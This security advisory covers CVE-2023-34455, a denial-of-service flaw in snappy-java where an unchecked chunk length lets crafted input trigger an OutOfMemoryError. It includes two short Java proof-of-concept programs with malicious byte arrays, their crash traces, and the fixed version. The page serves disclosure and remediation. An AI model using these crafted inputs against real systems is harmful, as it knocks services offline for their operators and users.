First published: Thu Jun 15 2023(Updated: )
## Summary Due to use of an unchecked chunk length, an unrecoverable fatal error can occur. ## Impact Denial of Service ## Description The code in the function [hasNextChunk](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388) in the file [SnappyInputStream.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java) checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk. ```java int readBytes = readNext(header, 0, 4); if (readBytes < 4) { return false; } int chunkSize = SnappyOutputStream.readInt(header, 0); if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) { ......... } // extend the compressed data buffer size if (compressed == null || chunkSize > compressed.length) { compressed = new byte[chunkSize]; } ``` In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error. ## Steps To Reproduce Compile and run the following code: ```java package org.example; import org.xerial.snappy.SnappyInputStream; import java.io.*; public class Main { public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; try { in.read(out); } catch (Exception ignored) { } } } ``` The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class: ``` Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12) ``` Alternatively - compile and run the following code: ```java package org.example; import org.xerial.snappy.SnappyInputStream; import java.io.*; public class Main { public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; in.read(out); } } ``` The program will crash with the following error (or similar): ``` Exception in thread "main" java.lang.NegativeArraySizeException: -1 at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12) ``` It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.
Credit: security-advisories@github.com security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
maven/org.xerial.snappy:snappy-java | <=1.1.10.0 | 1.1.10.1 |
redhat/snappy-java | <1.1.10.1 | 1.1.10.1 |
IBM Cloud Pak for Business Automation | <1.1.10.1 | |
IBM Cloud Pak for Business Automation | <=V23.0.1 - V23.0.1-IF001 | |
IBM Cloud Pak for Business Automation | <=V21.0.3 - V21.0.3-IF023 | |
IBM Cloud Pak for Business Automation | <=V22.0.2 - V22.0.2-IF006 and later fixes V22.0.1 - V22.0.1-IF006 and later fixes V21.0.2 - V21.0.2-IF012 and later fixes V21.0.1 - V21.0.1-IF007 and later fixes V20.0.1 - V20.0.3 and later fixes V19.0.1 - V19.0.3 and later fixes V18.0.0 - V18.0.2 and later fixes |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
(Appears in the following advisories)
The vulnerability ID is CVE-2023-34455.
The severity of CVE-2023-34455 is high with a CVSS score of 7.5.
The impact of CVE-2023-34455 is a Denial of Service vulnerability.
The software affected by CVE-2023-34455 is Snappy-java.
To fix CVE-2023-34455, update your Snappy-java version to 1.1.10.1 or higher.